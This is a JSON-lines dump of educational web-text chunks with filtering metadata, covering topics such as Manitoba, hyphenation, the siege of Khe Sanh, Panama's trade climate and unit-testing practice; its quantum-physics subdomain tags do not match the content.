1978 ). classical hindu mythology : a reader in the sanskrit puranas. temple university press. p. 329. isbn 0 - 87722 - 122 - 7. - yamunashtakam text and translation - woodward, david ; john brian harley ( 1987 ). the history of cartography, volume 2, part 1. oxford university press us. p. 438. isbn 0 - 226 - 31635 - 1. - upper yamuna river board official website. - rao, k. l. ( 1979 ). india ' s water wealth - flood forecasting system of yamuna. orient blackswan. p. 163. isbn 81 - 250 - 0704 - 0. - negi, sharad singh ( 1991 ). himalayan rivers, lakes, and glaciers. indus publishing. pp. 141 \u2013 142. isbn 81 - 85182 - 61 - 2. - flood forecasting network in india ministry of water resources website. - the ganges and the jumna the imperial gazetteer of india, 1909 v. 1, p. 23. - compare the pollution of the ganges. - pepper, daniel ( 2007 - 07 - 27 ). \" india ' s \" flush - and - forget \" mind - set \". sfgate. com ( san francisco chronicle ). pp. a17 \u2013 a18. retrieved 2007 - 07 - 27. - \" cag castigates delhi govt over yamuna river pollution \". indian express. april 8, 2000. - daniel pepper ( june 4, 2007 ). \" india ' s rivers are drowning in pollution \". fortune ( magazine ). - karthikeyan, ajitha ( september 2009 ). \" failure of ganga, yamuna projects.. \". the times of india. - \" inflow to yamuna to be cleaned up at last \". indian express. aug 31, 2009. | wikimedia commons has media related to : yamuna river |", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4580020490103922, "token_count": 498, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 13, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.667121"} {"text": "- this article is about the canadian province. manitoba is also the former stage name of electronic musician dan snaith, who now goes by caribou. | motto : gloriosus et liber ( glorious and free ) | | other canadian provinces and territories | | lieutenant governor | | john harvard | | premier | | gary doer ( ndp ) | | area | | 647, 797 km\u00b2 ( 8th ) | | - land | | 553, 556 km\u00b2 | | - water | | 64, 241 km\u00b2 ( 14. 5 % ) | | - population | | 1, 165, 944 ( 5th ) | | - density | | 1. 80 / km\u00b2 ( 8th ) | | admittance into confederation | | - date | | july 15, 1870 | | - house seats | | 14 | | - senate seats | | 6 | | - iso 3166 \u2013 2 | | ca - mb | | postal code prefix | | r | manitoba is one of canada ' s provinces and was the fifth province to join canada ( in 1870 ). its population as of january 1, 2004 was 1, 165, 944 ( manitobans ). it is the easternmost of the three prairie provinces. table of contents manitoba is located in the longitudinal centre of canada, though it is considered part of western canada. it borders saskatchewan to the west, ontario to the east, nunavut to the north, and the american states of north dakota and minnesota to the south. the province has a coast with hudson bay, and contains the very large lakes winnipeg, manitoba ( its namesake ), and winnipegosis. important watercourses include the red river, assiniboine river, nelson river, hayes river and churchill river. the manitoba climate is severe, though the southern latitudes support extensive agriculture. the northern reaches of the province range through coniferous forests, muskeg, and up to tundra in the far north. there is approximately 24, 000 square miles of untouched boreal forest on the eastern side of lake winnipeg, renowned by naturalists and sportsmen for its pristine wilderness. manitoba lies in the path of the arctic trough which funnels cold arctic air south during the winter months. this, in conjunction with the relatively unprotected prairie landscape, makes southern manitoba a harsh climate in which to live during the icy cold, wind swept months from november through march. this has resulted in the capital of the province being nicknamed \" winterpeg \". manitoba was settled by members of the", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.43280305847751244, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.670904"} {"text": "prairie landscape, makes southern manitoba a harsh climate in which to live during the icy cold, wind swept months from november through march. this has resulted in the capital of the province being nicknamed \" winterpeg \". manitoba was settled by members of the ojibwa and assiniboine tribes. the first european to reach present - day manitoba was sir thomas button, who visited the nelson river in 1612. pierre gaultier de varennes, sieur de la verendrye visited the red river valley in the 1730s as part of opening the area for french exploration and exploitation. an important french - canadian population ( franco - manitobains ) still lives in manitoba, especially in the saint - boniface district of winnipeg. the founding of the first agricultural community in 1811 by lord selkirk, near modern winnipeg, resulted in conflict between the white colonists and the metis who lived near there. the battle of seven oaks in 1816 saw 20 colonists killed by the metis, including the governor. when rupert ' s land was ceded to canada in 1869 ( it would become the northwest territories ), a lack of attention to metis concerns would lead their leader louis riel to establish a provisional government. negotiations between this government and the canadian government resulted in the creation of the province of manitoba and its entry into confederation in 1870. originally the province was only 1 / 18 of its current size and square in shape \u2013 it was known as the \" postage stamp province. \" it grew progressively, absorbing land from the northwest territories until it attained its current size by reaching 60\u00b0n in 1912. - manitoba act - legislative assembly of manitoba - provinces and territories of canada - manitoba cabinet ministers - manitoba hydro - list of cities in canada - list of manitoba general elections - list of manitoba lieutenant - governors - list of manitoba premiers - list of manitoba regions - list of communities in manitoba - list of canadian provincial and territorial symbols - louis riel - republic of manitoba ( 1867 \u2013 68 ) - dominion land survey - red river flood, 1997 - same - sex marriage in manitoba - list of rural municipalities in manitoba - list of manitoba school divisions and districts | provinces and territories of canada |", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.40088640219330596, "token_count": 434, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.671735"} {"text": "syllables ( which are a unit of spoken language and nothing per se to do with punctuation or hyphenation ) are generally considered to be governed by something called the maximum onset principle, meaning that a syllable consists of a vowel at its centre or nucleus and at its two edges ( the onset and coda ) zero or more consonants, with the coda first filled with as many consonants as the language in question allows. these are the principles of syllabification and you ' ll find a few corner cases. in english, for example, in a word such as \" strengths \", it might be argued that the final - s actually functions as a though it were a vowel, forming the nucleus of a syllable. in a word such as \" university \", which intuitively appears to have five syllables, in actual pronunciation it ' s not clear that the \" i \" really heads a syllable but might in fact get \" merged \" into the coda of the previous syllable. within a language, different speakers can syllabify some sound combinations differently. for example, to most speakers from england, \" film \" consists of one syllable ; to most speakers from wales, it consists of two syllables. in spanish, the word \" atlas \" is probably syllabified \" at - las \" by a speaker from spain and \" a - tlas \" by a speaker from mexico. but, barring these occasional corner cases, the principle i ' ve just mentioned holds pretty much across languages and there ' s reasonable consistency and predictability in how speakers of a given language syllabify. then, loosely based on syllabification, are rules of hyphenation. taking something close to \" real \" syllable divisions as a starting point, in various languages these are then are modified so as not to split up parts of a word that go together as a \" unit \", or to avoid \" odd - looking \" hyphenations. so in \" university \", one might avoid hyphenating as \" u - niversity \" as it looks a bit odd leaving one letter on its own and also splits up the unit \" uni - \". the rules might also take account of spelling phenomena which don ' t reflect pronunciation. so for example in english, there might be a rule to always place a hyphen between consecutive letters representing consonants even where phonologically there is no corresponding syllable break, e. g. im - mune ( only one [ m ] is actually pronounced ). there '", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5134646937402609, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.680548"} {"text": "might be a rule to always place a hyphen between consecutive letters representing consonants even where phonologically there is no corresponding syllable break, e. g. im - mune ( only one [ m ] is actually pronounced ). there ' s no god - given, universally agreed upon \" rules \" for hyphenation, but there are preferences of individual editors and style guide writers. and as i say, syllabification is more or less consistent, but not 100 % so. so dictionary \" syllabifications \" will differ because ( a ) what they are giving may or may not be syllabification in the true sense ; and ( b ) there ' s not necessarily a consensually agreed syllabification or hyphenation. my recommended rules of hyphenation in english : - never hyphenate words. in 2011, what is the real need to hyphenate words? [ * ] - if you absolutely absolutely must hyphenate : just leave the hyphen wherever your word processor puts it. there are more important things in life for you to worry about. ( of course, if you are writing the hyphenation algorithm of a word processor, then you need to care a little more, but that ' s about the only occasion i can think of. ) [ * ] if you ' re writing in a more agglutinative language like german or worse finnish, where you get an average of about 2 words per line of a4, then i would posit that there is more of a case for hyphenation.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4941616737017219, "token_count": 331, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.681250"} {"text": "project location : hobart, tasmania funding recipients : glenorchy city council total australian government funding : $ 9, 244, 000 ( gst exclusive ) water savings : up to 1500 ml / yr about the project : the project will harvest stormwater from the catchment of derwent park, treated via gross pollutant traps and reverse osmosis, and then used for the irrigation of gardens and sports ovals at the moonah primary school and for industrial processes at the nyrstar hobart smelter. aquifer storage and recovery bores will be used to store harvested water underground during high flow periods. the project aims to substitute up to 1500 megalitres of potable water each year ( ml / yr ) currently used by local industrial and commercial entities and the community. - to reduce up to 1500 megalitres of potable water each year by harvesting, treating and reusing stormwater for open space irrigation and commercial and industrial purposes. - reduce the impact of urban stormwater runoff on water quality in receiving waters. - to provide an educational opportunity to learn about the benefits and uses of stormwater harvested from the local catchment the construction of the project commenced in may 2012 and is fully underway. the project aims to be completed by december 2013. details of the derwent park stormwater harvesting project can be located at www. gcc. tas. gov. au / content / upload / stormwater _ 3281. pdf stormwater harvesting and reuse projects are funded by the australian government ' s water for the future initiative. for up - to - date information about the water for the future initiative.", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4197067259658152, "token_count": 330, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.682943"} {"text": "marko baloh ( 2011 ) analysis of substances impact by labeling food items with rfid tags. engd thesis. in the diploma thesis radiofrequency identification ( rfid ) is used for labeling individual products. it is based on the usage of radio waves. in the supply chain, rfid technology could replace a barcode labeling because it has a lot of advantages like : easier and faster reading on large distances, storing data on rfid tags, identification of larger number of objects at the same time and others. there exist many different rfid systems available for identification that include rfid readers, tags and antennas for capturing data. for its commercialisation in supply chain epcglobal inctm standardisation organization is responsible. it operates under the auspices of gs1 ( the global language of business ). the purpose of rfid standards is to ensure global connectivity of components in rfid systems. the work consisted of introduction and testing of labeling different food products with rfid labels. we divided them into several groups according to packaging forms and ingredients. we tested them in hf ( high frequency ) and uhf ( ultra high frequency ) frequency bands which represent two different options of usage this technology. our goal was to determine the effect of individual materials and to check how they affect on the reading distances. it was discovered that in some cases of products the labeling was inappropriate and is not practicable for the use of rfid tags. actions ( login required )", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5403134584198428, "token_count": 295, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.684481"} {"text": "tangang, fredolin ( 2010 ) climate change : is southeast asia up to the challenge? : the roles of climate variability and climate change on smoke haze occurrences in southeast asia region. ideas reports - special reports, kitchen, nicholas ( ed. ) sr004. lse ideas, london school of economics and political science, london, uk. - published version download ( 548kb ) | preview this paper discusses the smoke - haze episodes in the southeast asia region and how their occurrence can be related to climate variability and future climate change in the region. the haze episode over this region has been an almost yearly occurrence but becomes severe during the prolonged dry period associated with the el nino phenomenon. the longest and most severe case was the episode of september to november 1997 that occurred in conjunction with the extreme 1997 / 98 el nino. this event resulted in more than us $ 4 billion in economic losses to the region and a colossal 93 % of the cost was incurred in indonesia. | item type : | | monograph ( report ) | | additional information : | | \u00a9 2010 the author | | library of congress subject classification : | | g geography. anthropology. recreation > ge environmental sciences j political science > jq political institutions asia | sets : | | research centres and groups > lse ideas | actions ( login required ) | record administration - authorised staff only |", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4860367204294762, "token_count": 274, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.685879"} {"text": "how many times have you heard someone say, \u201c moderation in all things \u201c, \u201c take everything in moderation \u201d, or \u201c x is fine, but in moderation \u201d? replace x with anything you like : food, alcohol, exercise, sleep, etc. i will now prove to you why this statement is completely meaningless. this statement is what logicians call a tautology. it is obviously true, and therefore saying it is of no value. i will be using some logical syntax, but even if you ignore the equations and can reason a little bit with the text, you should understand. here is our statement : moderation good let us look at the definition of moderation : moderation : n. the avoidance of excess or extremes. in short, it means \u201c not too much nor too little \u201d. \u00ac ( too - much \u2228 too - little ) good okay, so what does \u201c too much \u201d mean? too much : an intolerable, impossible, or exhausting situation or experience : the effort proved too much for her. so x is \u201c too much \u201d right when having more x becomes bad, a threshold. not surprisingly, the same applies in reverse for \u201c too little \u201d. x is \u201c too little \u201d right when having less of x becomes bad. \u00ac ( bad \u2228 bad ) good we consolidate the identical disjunction. \u00acbad good do i really need to explain this step? good good add to this the fact that the too - much and too - little thresholds are completely arbitrary and subjective and, therefore, completely different for each person. what i consider to be too much work / sex / fishing / alcohol / television / marijuana / food / running / salt / sleep / volume is not going to be what you consider to be too much. my point is simply this : the next time the words \u201c in moderation \u201d are about to come out of your mouth in relation to quantity of consumption or activity, stop and ask yourself if a statement as silly as \u201c what \u2019 s bad isn \u2019 t good! \u201d would enhance the conversation.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5687058268305352, "token_count": 420, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.688065"} {"text": "- god ( n. ) - old english god \" supreme being, deity ; the christian god ; image of a god ; godlike person, \" from proto - germanic * guthan ( cf. old saxon, old frisian, dutch god, old high german got, german gott, old norse gu\u00f0, gothic gu\u00fe ), from pie * ghut - \" that which is invoked \" ( cf. old church slavonic zovo \" to call, \" sanskrit huta - \" invoked, \" an epithet of indra ), from root * gheu ( e ) - \" to call, invoke. \" but some trace it to pie * ghu - to - \" poured, \" from root * gheu - \" to pour, pour a libation \" ( source of greek khein \" to pour, \" also in the phrase khute gaia \" poured earth, \" referring to a burial mound ; see found ( v. 2 ) ). \" given the greek facts, the germanic form may have referred in the first instance to the spirit immanent in a burial mound \" [ watkins ]. cf. also zeus. not related to good. originally a neuter noun in germanic, the gender shifted to masculine after the coming of christianity. old english god probably was closer in sense to latin numen. a better word to translate deus might have been proto - germanic * ansuz, but this was used only of the highest deities in the germanic religion, and not of foreign gods, and it was never used of the christian god. it survives in english mainly in the personal names beginning in os -. i want my lawyer, my tailor, my servants, even my wife to believe in god, because it means that i shall be cheated and robbed and cuckolded less often.... if god did not exist, it would be necessary to invent him. [ voltaire ] god bless you after someone sneezes is credited to st. gregory the great, but the pagan romans ( absit omen ) and greeks had similar customs.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5174058103136172, "token_count": 431, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.689959"} {"text": "the siege of khe sanh lasted 77 days, from january 21 to april 8, 1968. it pitted several divisions of the north vietnamese army ( nva ) against elements of the 9th and 26th u. s. marine divisions in action at the khe sanh combat base and on several hills to the north and west of the base. it was one of the largest and most significant battles of the vietnam war, as much for the ways that the siege affected public opinion as for military reasons, if not more. khe sanh is a village in central vietnam, located approximately 10 miles away from the laos border on route 9. as the tensions mounted between north vietnam and south vietnam in the late 1950s and early 1960s, it became apparent that khe sanh was strategically important in the defense of south vietnam, as route 9 was the first major east - west highway south of the demilitarized zone that divided the two countries. in addition, the town controlled two mountain passes that had been used in several invasions, through one of which ran route 9. the first american military presence at khe sanh arrived in july 1962 when u. s. army special forces set up a perimeter around a proposed airstrip site. the first airstrip was constructed that fall, a development that attracted the interest of the north vietnamese. nva anti - aircraft gunners established positions on the hills surrounding the airstrip. in 1964 and 1965, additional marine signals units and green berets arrived at khe sanh and construction was started on what was to become the khe sanh combat base ( kscb ). aside from small unit encounters ( usually between opposing patrols ), little fighting took place in the area. this lull wouldn ' t last, as both sides began building up strength in the area in late 1966, with a navy mobile construction battalion ( seebees ) and a marine battalion ( the 1st battalion, 3rd marine division or 1 / 3 marines ) occupying the area. the \" hill fights \" intelligence indicated that the nva was building strength in the vicinity of khe sahn, on both side of the laos border. in april 24, 1967, a patrol from bravo company, 1 / 9 marines encountered elements of the 4th battalion, 32rd nva regiment on hill 861, approximately 3 miles northwest of kscb and 5 miles north - northwest of the khe sanh village. this skirmish sparked a series of battles on the hills surrounding khe sanh which lasted until may 11, 1967. the heaviest fighting fell on the", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.41244369107794937, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.696786"} {"text": "approximately 3 miles northwest of kscb and 5 miles north - northwest of the khe sanh village. this skirmish sparked a series of battles on the hills surrounding khe sanh which lasted until may 11, 1967. the heaviest fighting fell on the shoulders of three marine battalions : 2 / 3, 3 / 3 and 1 / 26 marines. total confirmed casualties ( confirmed by the u. s. army, of course ) : 940 nva and 155 marine fatalities. after the hill fights, the nva seemed to pull out of the area temporarily, allowing most of the marines at khe sanh to be transferred elsewhere. the respite would end in december 1967, as increased nva activity seemed to indicate another buildup. intelligence reports from january 1968 suggested that up to three nva divisions ( approximately 40, 000 men ) were concentrating in the vicinity of khe sanh. unlike most intelligence reports, these were correct. then again, nva and viet cong build - ups were taking place at many strategic locations across the country in preparation for the tet offensive. khe sanh was no different. on january 17, a marine recon patrol was ambushed near hill 881s ( some 5 miles west - northwest of kscb ). over the next three days, an nva battalion was removed from positions at the hill ' s base ; captured nva soldiers indicated that a full - scale assault was forthcoming. the assault began in earnest on january 20, as nva regiments assaulted hills 881 and 861. a fierce artillery and mortar barrage began to rain down on kscb, and destroyed the main ammunition dump. on the 21st, the nva attacked khe sanh village and, after a stubborn defense, the village is evacuated and the marines are withdrawn to kscb. at this point, kscb was defended by 1 / 26 and 3 / 26 marines, as well as a detachment of green berets and three artillery batteries of the 1 / 13 marines. these men were joined by 1 / 9 marines on january 22 and by the 37th arvn ranger battalion on january 27. 2 / 26 marines and detached companies of 3 / 26 marines were holding the various hills to the north of kscb. a special forces outpost at lang vei ( about five miles west of khe sahn village ) was overrun on february 7, partially due to the use of soviet - built pt - 76 tanks. after early nva gains in late january and early february, things began to stabilize. the battle developed into", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4177000978181351, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.697819"} {"text": "miles west of khe sahn village ) was overrun on february 7, partially due to the use of soviet - built pt - 76 tanks. after early nva gains in late january and early february, things began to stabilize. the battle developed into a siege, with the opposing forces waging an artillery duel. the heaviest nva shelling took place in late february, with an average of 2, 500 shells landing on kscb in a week. initial attempts to resupply kscb, and to extract evacuees ( both civilian refugees and military casualties ), were made using c - 130 cargo planes. as the siege wore on, nva gunners zeroed in on the runway, making landings nearly impossible. after a c - 130 was shot down on february 10, resupply was carried out using helicopters and paradrops. as any aircraft that approached the base would be peppered with. 50 calibre anti - aircraft fire, rockets, mortars and artillery shells, resupply was limited to the bare essentials. marines were sometimes limited to two c - ration packs a day. fresh uniforms were unheard of. men grew shaggy beards and afros. ( this only proves two of murphy ' s laws of combat : ' no combat - ready unit has ever passed inspection ' and ' no inspection - ready unit has ever passed combat '. ) the mounting helicopter losses required the use of a new tactic : the \" super gaggle. \" helicopter gunships and a - 4 skyhawks would pound nva anti - aircraft sites, allowing several resupply helicopters to land at once ; all of this was co - ordinated by command - and - control aircraft. it was the americans ' control of the air that prevented the decimation of the defenders of khe sanh. once a nva position was detected, it would be pounded by the carpet bombing of b - 52 stratofortresses and napalm dropped by f - 4 phantoms. when nva sappers dug trenchworks that nearly breached the perimeter of kscb, these troops were only pushed back after relentless bombing, often dangerously close to friendly troops. by april 1968, the nva began withdrawing from the khe sanh sector, likely due to the damage inflicted by aerial and artillery bombardment. the siege was officially lifted on april 8, when elements of the 7th u. s. cavalry squadron ( participating in operation pegasus ) linked up with the 26th marine division. the total confirmed casualties included 1, 602 n", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.44376891364966664, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.698761"} {"text": "by aerial and artillery bombardment. the siege was officially lifted on april 8, when elements of the 7th u. s. cavalry squadron ( participating in operation pegasus ) linked up with the 26th marine division. the total confirmed casualties included 1, 602 nva and 205 marine kia, but american estimates of nva casualties reach as high as 10 - 15, 000 killed. many people cite khe sanh as one of the major turning points of american sentiment towards the vietnam war. nightly reports detailed action around khe sanh, causing the american public to debate the use of defending an isolated outpost in a faraway land whose people didn ' t necessarily want or need american intervention. at the peak of the fighting, over 25 per cent of news reports on american television stations revolved around the battle. a few months after the conclusion of the battle, the khe sanh combat base was dismantled. one of the lessons learned was that it was easier ( and much, much safer ) to resupply front line units at smaller lzs ( landing zones ) with helicopters. general william westmoreland, commander of the u. s. forces in vietnam, would be largely unable to duplicate the success of operation scotland i ( the defence of khe sanh and the reduction of the attacking nva forces ). due in part to his objection to president johnson ' s refusal to escalate the war, we was relieved of his command. and to this day, no vegetation will grow on the former site of the kscb airfield. khe sanh veterans home page - http : / / www. geocities. com / pentagon / 4867 / pbs ' battlefield vietnam - http : / / www. pbs. org / battlefieldvietnam / index. html", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.38875895274795524, "token_count": 358, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.699389"} {"text": "to download / save this report in pdf format, please click here panama has historically served as the crossroads of trade for the americas. its strategic location as a bridge between two oceans and the meeting of two continents has made panama not only a maritime and air transport hub, but also an international trading, banking, and services center. panama \u2019 s global and regional prominence is being enhanced by trade liberalization and privatization and it is participating actively in the hemispheric movement toward free trade agreements. panama ' s dollar - based economy offers low inflation in comparison with neighboring countries and zero foreign exchange risk. its government is stable and democratic and actively seeks foreign investment in all sectors, especially services, tourism and retirement properties. due to the country ' s historic evolution, which focused resources overwhelmingly on services and transactions, the assembly and manufacturing sectors \u2013 largely comprised of production of items such as processed foods, chemical products, construction materials and a small and declining clothing sector - remain severely underdeveloped. panama \u2019 s economy is characterized by great income disparities, with social and economic inequalities marked by a high percentage of the population living at or near the poverty level with significant underemployment and limited education and other social benefits. in 2010 the three major credit rating agencies \u2013 standard & poor \u2019 s, moody \u2019 s, and fitch - all raised their credit ratings for panama to investment grade, granting the government of panama international recognition for recent tax reforms and its record of steady gdp growth while keeping its deficits under control. the investment - grade rating both lowers the cost of borrowing for the government of panama and sends a positive signal to foreign investors. panama ' s economy is based primarily on a well - developed services sector, accounting for about 75 % of gdp. services include the panama canal, banking, the colon free zone, insurance, container ports, and flagship registry. the country is currently engaged in a $ 5. 25 billion expansion of the panama canal that, when finished, would allow significantly larger vessels to transit and might alter shipping routes to and from multiple u. s. ports. this project, in conjunction with the expansion of the capacities of its ports on both the atlantic and pacific coasts and ongoing investment in regional fueling operations, will solidify panama \u2019 s global logistical advantage in the western hemisphere. this logistical platform has aided the success of the colon free zone ( cfz ), the second largest in the world after hong kong, which has become a vital trading and transshipment center serving the region and the world. cfz", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.41617863571178926, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.708075"} {"text": "western hemisphere. this logistical platform has aided the success of the colon free zone ( cfz ), the second largest in the world after hong kong, which has become a vital trading and transshipment center serving the region and the world. cfz imports \u2013 a broad array of luxury goods, electronic products, clothing, and other consumer products - arrive from all over the world to be resold, repackaged, and reshipped, primarily to regional markets. because of this product mix, u. s. brand market share is significant, even if most of those products are made in asia. the u. s. is panama ' s most important trading partner, with about 30 % of the import market, and u. s. products enjoy a high degree of acceptance in panama. in 2012, u. s. exports to panama jumped 20 % to $ 9. 9 billion \u2013 in no small part due to the fact that panama \u2019 s economy grew 10. 6 % in 2012. however, international competition for sales is strong across sectors including telecommunications equipment, automobiles, heavy construction equipment, consumer electronics, computers, apparel, gifts, and novelty products. the trade promotion agreement ( tpa ) between the u. s. and panama that went into effect in october 2012 will continue to offer u. s. - made goods a competitive advantage. for 87 % of u. s. - made goods, tariffs dropped to 0 % immediately. however, panama \u2019 s average tariff on goods is only 7 % and in several key sectors \u2013 sales of consumables to the government for the canal expansion and other infrastructure projects, automobiles, and goods for use in hotels \u2013 duties are either 0 % or are waived. panama also has full free trade agreements ( ftas ) with el salvador, taiwan, singapore, chile, costa rica, honduras, guatemala, peru, nicaragua, and canada, as well as partial trade agreements with colombia, mexico, dominican republic and cuba. it is engaged in active negotiations for full ftas with colombia and the efta countries and has completed negotiations with the european union. panama has also expressed interest in negotiating a full fta with mexico and in joining the pacific alliance, whose members chile, colombia, mexico, and peru are seeking further economic integration. panama \u2019 s inflexible labor laws are a source of concern for prospective investors. firing practices are excessively regulated, reducing labor mobility and inhibiting hiring. while inexpensive in global terms, panama ' s minimum wage is relatively high in a central american context.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.40557543001551577, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.709139"} {"text": "inflexible labor laws are a source of concern for prospective investors. firing practices are excessively regulated, reducing labor mobility and inhibiting hiring. while inexpensive in global terms, panama ' s minimum wage is relatively high in a central american context. in addition, competent technical employees fluent in english may be hard to find. these labor issues, coupled with relatively high costs for electricity, result in higher than average unit production costs in panama. instances of questionable government practices continue to affect u. s. investors in panama. these include bidding procedures, contract obligations, and a slow and imperfect judicial system. the current administration has announced an ambitious agenda of fiscal reform, anticorruption and transparency improvements, and reform of the social security system. with the exception of fiscal reform, however, there has been little to no progress on these fronts. continued improvements in the areas of educational and judicial reform will be critical for panama to improve its business competitiveness standing in the region. international indices generally rate panama as one of the best countries in latin america for business and investment. at the same time, however, u. s. investors have voiced concerns about corruption and inconsistent treatment. for these reasons we encourage u. s. companies interested in investing in panama to read our report on investing in panama thoroughly and to contact us for more information. we also recommend that americans interested in purchasing property in panama review the u. s. citizens services note here. panama has no restrictions on the outflow of capital or outward direct investment. its accession to the world trade organization in mid - 1997 opened up trade and lowered tariffs across the board, giving panama the lowest average tariff rate in latin america. panama \u2019 s recognition of the u. s. sanitary and phytosanitary system and the creation of a new food safety authority have essentially eliminated the previous slow and arbitrary procedures for issuing permits for u. s. food products. consumer attitudes and many brand preferences are similar to the u. s. u. s. television, radio and magazines are all available and popular in panama. upper - income panamanians frequently travel to the u. s. for vacation, medical treatment, study and business. their buying patterns and tastes are similar to those of u. s. consumers. u. s. goods and services enjoy a reputation for high quality and are highly competitive. panama has in recent years established itself as a regional competitor to miami for consumer retail, which may result in a larger market than its domestic population would indicate. the country boasts the highest per capita gdp in the", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.40794094893425475, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.710187"} {"text": "reputation for high quality and are highly competitive. panama has in recent years established itself as a regional competitor to miami for consumer retail, which may result in a larger market than its domestic population would indicate. the country boasts the highest per capita gdp in the region. however, income distribution is highly skewed toward a relatively small, consumer goods - oriented, economically powerful class. this class enjoys a very high level of disposable income. they prefer high quality trend - setting goods where price is a secondary determinant in the purchasing decision. market entry strategy due to its open economy, panama has few market access problems. one of the more common market entry options is to appoint an agent or distributor. another option is to find a local partner who can provide market knowledge and contacts. other businesses have been successful via licenses or franchises. the u. s. commercial service offers u. s. companies market entry assistance through a variety of services, any of which can be tailored to suit your needs. we also will work to defend your business interests in panama if the need arises. we measure ourselves on our ability to help you do more business in panama. given the ease of air travel between the u. s. and panama, our gold key service ( gks ) is our most popular offering. this service connects you with qualified representatives, distributors, partners, or customers. the u. s. embassy will conduct background checks, set up the meetings, and provide translation and driving services as part of the package. to learn more about how we can assist you in doing more business in panama, please visit our website at www. export. gov / panama. you can also call us at 011 - 507 - 317 - 5000 or email us at firstname. lastname @ example. org. for more information the u. s. commercial service in panama can be contacted via e - mail at : email @ example. com ; phone : 011 - 507 - 317 - 5000 ; or visit our website : http : / / www. export. gov / panama.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4326929617428314, "token_count": 418, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.710970"} {"text": "having tests that verify only one thing makes troubleshooting easier. it ' s not to say you shouldn ' t also have tests that do test multiple things, or multiple tests that share the same setup / teardown. here should be an illustrative example. let ' s say that you have a stack class with queries : and methods to mutate the stack now, consider the following test case for it ( i ' m using python like pseudo - code for this example. ) self. stack = new stack ( ) assert stack. top ( ) = = 1, \" top ( ) isn ' t showing correct object \" assert stack. getsize ( ) = = 1, \" getsize ( ) call failed \" from this test case, you can determine if something is wrong, but not whether it is isolated to the pop ( ) implementations, or the queries that return values : if we add individual test cases for each method and its behavior, things become much easier to diagnose. also, by doing fresh setup for each test case, we can guarantee that the problem is completely within the methods that the failing test method called. assert stack. getsize ( ) = = 0 assert stack. top ( ) = = 1, \" top returns wrong object after push \" assert stack. getsize ( ) = = 1, \" getsize wrong after push \" assert stack. getsize ( ) = = 0, \" getsize wrong after push \" as far as test - driven development is concerned. i personally write larger \" functional tests \" that end up testing multiple methods at first, and then create unit tests as i start to implement individual pieces. another way to look at it is unit tests verify the contract of each individual method, while larger tests verify the contract that the objects and the system as a whole must follow. i ' m still using three method calls in test _ push, however both getsize ( ) are queries that are tested by separate test methods. you could get similar functionality by adding more asserts to the single test, but then later assertion failures would be hidden.", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.4778383621468799, "token_count": 423, "source_dataset": 